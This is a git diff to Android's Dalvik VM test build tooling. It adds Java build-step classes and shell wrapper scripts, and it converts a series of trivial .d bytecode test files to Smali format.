diff --git a/tools/vm-tests-tf/build/src/util/build/FileUtil.java b/tools/vm-tests-tf/build/src/util/build/FileUtil.java
new file mode 100644
index 0000000..efb3571
--- /dev/null
+++ b/tools/vm-tests-tf/build/src/util/build/FileUtil.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package util.build;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+
+public class FileUtil {
+
+    public static String readFile(File f) {
+        if (f.length() > Integer.MAX_VALUE) {
+            throw new IllegalArgumentException(f.toString());
+        }
+        byte tmp[] = new byte[(int)f.length()];
+        try (FileInputStream fis = new FileInputStream(f)) {
+            int pos = 0;
+            while (pos != tmp.length) {
+                int read = fis.read(tmp, pos, tmp.length - pos);
+                if (read == -1) {
+                    throw new IOException("Unexpected EOF");
+                }
+                pos += read;
+            }
+            return new String(tmp);
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+}
diff --git a/tools/vm-tests-tf/build/src/util/build/JUnitTestCollector.java b/tools/vm-tests-tf/build/src/util/build/JUnitTestCollector.java
new file mode 100644
index 0000000..7332806
--- /dev/null
+++ b/tools/vm-tests-tf/build/src/util/build/JUnitTestCollector.java
@@ -0,0 +1,91 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package util.build;
+
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.LinkedHashMap;
+import java.util.List;
+import junit.framework.Test;
+import junit.framework.TestCase;
+import junit.framework.TestResult;
+import junit.textui.TestRunner;
+
+public class JUnitTestCollector {
+
+    public final int testClassCnt;
+    public final int testMethodsCnt;
+
+    /**
+     * Map collection all found tests.
+     *
+     * using a linked hashmap to keep the insertion order for iterators.
+     * the junit suite/tests adding order is used to generate the order of the
+     * report.
+     * a map. key: fully qualified class name, value: a list of test methods for
+     * the given class
+     */
+    public final LinkedHashMap<String, List<String>> map =
+            new LinkedHashMap<String, List<String>>();
+
+    public JUnitTestCollector(ClassLoader loader) {
+        Test test;
+        try {
+            Class<?> allTestsClass = loader.loadClass("dot.junit.AllTests");
+            Method suiteMethod = allTestsClass.getDeclaredMethod("suite");
+            test = (Test)suiteMethod.invoke(null);
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        }
+
+        final Counters counters = new Counters();
+        new TestRunner() {
+            @Override
+            protected TestResult createTestResult() {
+                return new TestResult() {
+                    @Override
+                    protected void run(TestCase test) {
+                        String packageName = test.getClass().getPackage().getName();
+                        packageName = packageName.substring(packageName.lastIndexOf('.'));
+
+
+                        String method = test.getName(); // e.g. testVFE2
+                        String fqcn = test.getClass().getName(); // e.g.
+                        // dxc.junit.opcodes.iload_3.Test_iload_3
+
+                        counters.a++;
+                        List<String> li = map.get(fqcn);
+                        if (li == null) {
+                            counters.b++;
+                            li = new ArrayList<String>();
+                            map.put(fqcn, li);
+                        }
+                        li.add(method);
+                    }
+
+                };
+            }
+        }.doRun(test);
+        testMethodsCnt = counters.a;
+        testClassCnt = counters.b;
+    }
+
+    private static class Counters {
+        int a = 0;
+        int b = 0;
+    }
+}
diff --git a/tools/vm-tests-tf/src/util/build/JarBuildStep.java b/tools/vm-tests-tf/build/src/util/build/JarBuildStep.java
similarity index 100%
rename from tools/vm-tests-tf/src/util/build/JarBuildStep.java
rename to tools/vm-tests-tf/build/src/util/build/JarBuildStep.java
diff --git a/tools/vm-tests-tf/src/util/build/JavacBuildStep.java b/tools/vm-tests-tf/build/src/util/build/JavacBuildStep.java
similarity index 100%
rename from tools/vm-tests-tf/src/util/build/JavacBuildStep.java
rename to tools/vm-tests-tf/build/src/util/build/JavacBuildStep.java
diff --git a/tools/vm-tests-tf/build/src/util/build/SmaliBuildStep.java b/tools/vm-tests-tf/build/src/util/build/SmaliBuildStep.java
new file mode 100644
index 0000000..47695c2
--- /dev/null
+++ b/tools/vm-tests-tf/build/src/util/build/SmaliBuildStep.java
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package util.build;
+
+import org.jf.smali.Smali;
+import org.jf.smali.SmaliOptions;
+
+import java.io.File;
+import java.util.List;
+
+/**
+ * BuildStep that invokes the Smali Java API to
+ * assemble test cases written in Smali.
+ */
+class SmaliBuildStep extends BuildStep {
+
+    List<String> inputFiles;
+
+    SmaliBuildStep(List<String> inputFiles, File outputFile) {
+        super(outputFile);
+        this.inputFiles = inputFiles;
+    }
+
+    @Override
+    boolean build() {
+        SmaliOptions options = new SmaliOptions();
+        options.verboseErrors = true;
+        options.outputDexFile = outputFile.fileName.getAbsolutePath();
+        try {
+            File destDir = outputFile.folder;
+            if (!destDir.exists()) {
+                destDir.mkdirs();
+            }
+            return Smali.assemble(options, inputFiles);
+        } catch(Exception e) {
+             if(BuildDalvikSuite.DEBUG)
+                 e.printStackTrace();
+             System.err.println("Exception <" + e.getClass().getName() + ">" + e.getMessage());
+             return false;
+        }
+    }
+
+    @Override
+    public boolean equals(Object obj) {
+        if (super.equals(obj)) {
+            SmaliBuildStep other = (SmaliBuildStep) obj;
+            return inputFiles.equals(other.inputFiles)
+                    && outputFile.equals(other.outputFile);
+        }
+        return false;
+    }
+
+    @Override
+    public int hashCode() {
+        return inputFiles.hashCode() ^ outputFile.hashCode();
+    }
+}
diff --git a/tools/vm-tests-tf/src/util/build/SourceBuildStep.java b/tools/vm-tests-tf/build/src/util/build/SourceBuildStep.java
similarity index 100%
rename from tools/vm-tests-tf/src/util/build/SourceBuildStep.java
rename to tools/vm-tests-tf/build/src/util/build/SourceBuildStep.java
diff --git a/tools/vm-tests-tf/etc/vmtests-buildutil.sh b/tools/vm-tests-tf/etc/vmtests-buildutil.sh
new file mode 100755
index 0000000..759c5c2c
--- /dev/null
+++ b/tools/vm-tests-tf/etc/vmtests-buildutil.sh
@@ -0,0 +1,81 @@
+#!/bin/bash
+#
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+# Execute the vmtests-buildutil program
+prog="$0"
+while [ -h "${prog}" ]; do
+    newProg=`/bin/ls -ld "${prog}"`
+    newProg=`expr "${newProg}" : ".* -> \(.*\)$"`
+    if expr "x${newProg}" : 'x/' >/dev/null; then
+        prog="${newProg}"
+    else
+        progdir=`dirname "${prog}"`
+        prog="${progdir}/${newProg}"
+    fi
+done
+oldwd=`pwd`
+progdir=`dirname "${prog}"`
+cd "${progdir}"
+progdir=`pwd`
+prog="${progdir}"/`basename "${prog}"`
+cd "${oldwd}"
+
+jarfile=vmtests-buildutil.jar
+libdir="$progdir"
+
+if [ ! -r "$libdir/$jarfile" ]; then
+    # set vmtests-buildutil.jar location for the Android tree case
+    libdir=`dirname "$progdir"`/framework
+fi
+
+if [ ! -r "$libdir/$jarfile" ]; then
+    echo `basename "$prog"`": can't find $jarfile"
+    exit 1
+fi
+
+# By default, give vmtests-buildutil a max heap size of 1 gig. This can be overridden
+# by using a "-J" option (see below).
+defaultMx="-Xmx1024M"
+
+# The following will extract any initial parameters of the form "-J<stuff>" from
+# the command line and pass them to the Java invocation (instead of to vmtests-buildutil).
+# This makes it possible for you to add a command-line parameter such as
+# "-JXmx256M" in your scripts, for example. "java" (with no args) and "java -X"
+# give a summary of available options.
+
+javaOpts=""
+
+while expr "x$1" : 'x-J' >/dev/null; do
+    opt=`expr "x$1" : 'x-J\(.*\)'`
+    javaOpts="${javaOpts} -${opt}"
+    if expr "x${opt}" : "xXmx[0-9]" >/dev/null; then
+        defaultMx="no"
+    fi
+    shift
+done
+
+if [ "${defaultMx}" != "no" ]; then
+    javaOpts="${javaOpts} ${defaultMx}"
+fi
+
+if [ "$OSTYPE" = "cygwin" ]; then
+    # For Cygwin, convert the jarfile path into native Windows style.
+    jarpath=`cygpath -w "$libdir/$jarfile"`
+else
+    jarpath="$libdir/$jarfile"
+fi
+
+exec java $javaOpts -cp "$jarpath" "$@"
diff --git a/tools/vm-tests-tf/etc/vmtests-cfassembler.sh b/tools/vm-tests-tf/etc/vmtests-cfassembler.sh
new file mode 100755
index 0000000..74cabe5
--- /dev/null
+++ b/tools/vm-tests-tf/etc/vmtests-cfassembler.sh
@@ -0,0 +1,49 @@
+#!/bin/bash
+#
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+# Execute cfassembler for the given programs.
+prog="$0"
+cfassembler="$1"
+shift
+soong_zip="$1"
+shift
+gen_dir="$1"
+shift
+out="$1"
+shift
+
+for IN in $@ ; do
+  # Strip cts/tools/vm-tests-tf/src
+  TESTDIR_DFH=${IN#cts/tools/vm-tests-tf/src}
+  TESTDIR=${TESTDIR_DFH%.dfh}
+  TESTNAME=`basename $TESTDIR`
+  TESTDIRPARENT=`dirname $TESTDIR`
+
+  GENDIR="$gen_dir/tmp/tests/$TESTDIR"
+  GENDIRP="$gen_dir/tmp/tests/$TESTDIRPARENT"
+
+  mkdir -p $GENDIR || exit 1
+  # Assemble.
+  $cfassembler $IN $GENDIR || exit 1
+  # Wrap inside jar.
+  $soong_zip -o $GENDIRP/$TESTNAME.jar -C $GENDIR -D $GENDIR || exit 1
+  rm $GENDIR/classes.dex || exit 1
+  rmdir $GENDIR || exit 1
+done
+
+# Create the final jar.
+$soong_zip -o $out -C $gen_dir/tmp -D $gen_dir/tmp || exit 1
+rm -rf $gen_dir/tmp || exit 1
diff --git a/tools/vm-tests-tf/etc/vmtests-dasm.sh b/tools/vm-tests-tf/etc/vmtests-dasm.sh
new file mode 100755
index 0000000..455f995
--- /dev/null
+++ b/tools/vm-tests-tf/etc/vmtests-dasm.sh
@@ -0,0 +1,53 @@
+#!/bin/bash
+#
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+# Execute dasm for the given programs.
+prog="$0"
+dasm="$1"
+shift
+soong_zip="$1"
+shift
+gen_dir="$1"
+shift
+out="$1"
+shift
+
+# dasm is hardcoded to produce an output file as if it was a Java input:
+#  * package is translated to path components
+#  * single dex file with the name of the class
+
+GENDIR="$gen_dir/tmp/tests"
+mkdir -p $GENDIR || exit 1
+
+for IN in $@ ; do
+  # Strip cts/tools/vm-tests-tf/src
+  TESTDIR_DFH=${IN#cts/tools/vm-tests-tf/src}
+  TESTDIR=${TESTDIR_DFH%.d}
+  TESTNAME=`basename $TESTDIR`
+  TESTDIRPARENT=`dirname $TESTDIR`
+
+  # Assemble.
+  $dasm -d $GENDIR $IN || exit 1
+  # Rename to classes.dex.
+  mv $GENDIR/$TESTDIR.dex $GENDIR/$TESTDIRPARENT/classes.dex
+  # Wrap inside jar.
+  $soong_zip -o $GENDIR/$TESTDIR.jar -C $GENDIR/$TESTDIRPARENT -f $GENDIR/$TESTDIRPARENT/classes.dex || exit 1
+  rm $GENDIR/$TESTDIRPARENT/classes.dex || exit 1
+done
+
+# Create the final jar.
+$soong_zip -o $out -C $gen_dir/tmp -D $gen_dir/tmp || exit 1
+rm -rf $gen_dir/tmp || exit 1
diff --git a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_1.d b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_1.d
deleted file mode 100644
index e674f34..0000000
--- a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_1.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_f1_1.java
-.class public dot.junit.format.f1.d.T_f1_1
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v0, 123
-       nop
-       nop
-       nop
-       nop
-       const v2, 456
-       return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_1.smali b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_1.smali
new file mode 100644
index 0000000..c588b28d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_1.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_f1_1.java"
+.class  public Ldot/junit/format/f1/d/T_f1_1;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 123
+       nop
+       nop
+       nop
+       nop
+       const v2, 456
+       return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_10.d b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_10.d
deleted file mode 100644
index c06a20e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_10.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_f1_10.java
-.class public dot.junit.format.f1.d.T_f1_10
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v0, 123
-       nop
-       nop
-       nop
-       nop
-       const v2, 456
-       return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_10.smali b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_10.smali
new file mode 100644
index 0000000..07a66b5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_10.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_f1_10.java"
+.class  public Ldot/junit/format/f1/d/T_f1_10;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 123
+       nop
+       nop
+       nop
+       nop
+       const v2, 456
+       return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_11.d b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_11.d
deleted file mode 100644
index 4ad888f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_11.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_f1_11.java
-.class public dot.junit.format.f1.d.T_f1_11
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v0, 123
-       nop
-       nop
-       nop
-       nop
-       const v2, 456
-       return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_11.smali b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_11.smali
new file mode 100644
index 0000000..63a9c67
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_11.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_f1_11.java"
+.class  public Ldot/junit/format/f1/d/T_f1_11;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 123
+       nop
+       nop
+       nop
+       nop
+       const v2, 456
+       return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_12.d b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_12.d
deleted file mode 100644
index e6e053d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_12.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_f1_12.java
-.class public dot.junit.format.f1.d.T_f1_12
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v0, 123
-       nop
-       nop
-       nop
-       nop
-       const v2, 456
-       return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_12.smali b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_12.smali
new file mode 100644
index 0000000..14ce65c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_12.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_f1_12.java"
+.class  public Ldot/junit/format/f1/d/T_f1_12;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 123
+       nop
+       nop
+       nop
+       nop
+       const v2, 456
+       return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_2.d b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_2.d
deleted file mode 100644
index 72ed9ac..0000000
--- a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_2.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_f1_2.java
-.class public dot.junit.format.f1.d.T_f1_2
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v0, 123
-       nop
-       nop
-       nop
-       nop
-       const v2, 456
-       return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_2.smali b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_2.smali
new file mode 100644
index 0000000..c61dfbc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_2.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_f1_2.java"
+.class  public Ldot/junit/format/f1/d/T_f1_2;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 123
+       nop
+       nop
+       nop
+       nop
+       const v2, 456
+       return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_3.d b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_3.d
deleted file mode 100644
index f98d9fa..0000000
--- a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_3.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_f1_3.java
-.class public dot.junit.format.f1.d.T_f1_3
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v0, 123
-       nop
-       nop
-       nop
-       nop
-       const v2, 456
-       return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_3.smali b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_3.smali
new file mode 100644
index 0000000..424d56d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_3.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_f1_3.java"
+.class  public Ldot/junit/format/f1/d/T_f1_3;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 123
+       nop
+       nop
+       nop
+       nop
+       const v2, 456
+       return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_4.d b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_4.d
deleted file mode 100644
index 22611e3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_4.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_f1_4.java
-.class public dot.junit.format.f1.d.T_f1_4
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v0, 123
-       nop
-       nop
-       nop
-       nop
-       const v2, 456
-       return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_4.smali b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_4.smali
new file mode 100644
index 0000000..a145569
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_4.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_f1_4.java"
+.class  public Ldot/junit/format/f1/d/T_f1_4;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 123
+       nop
+       nop
+       nop
+       nop
+       const v2, 456
+       return-void
+.end method
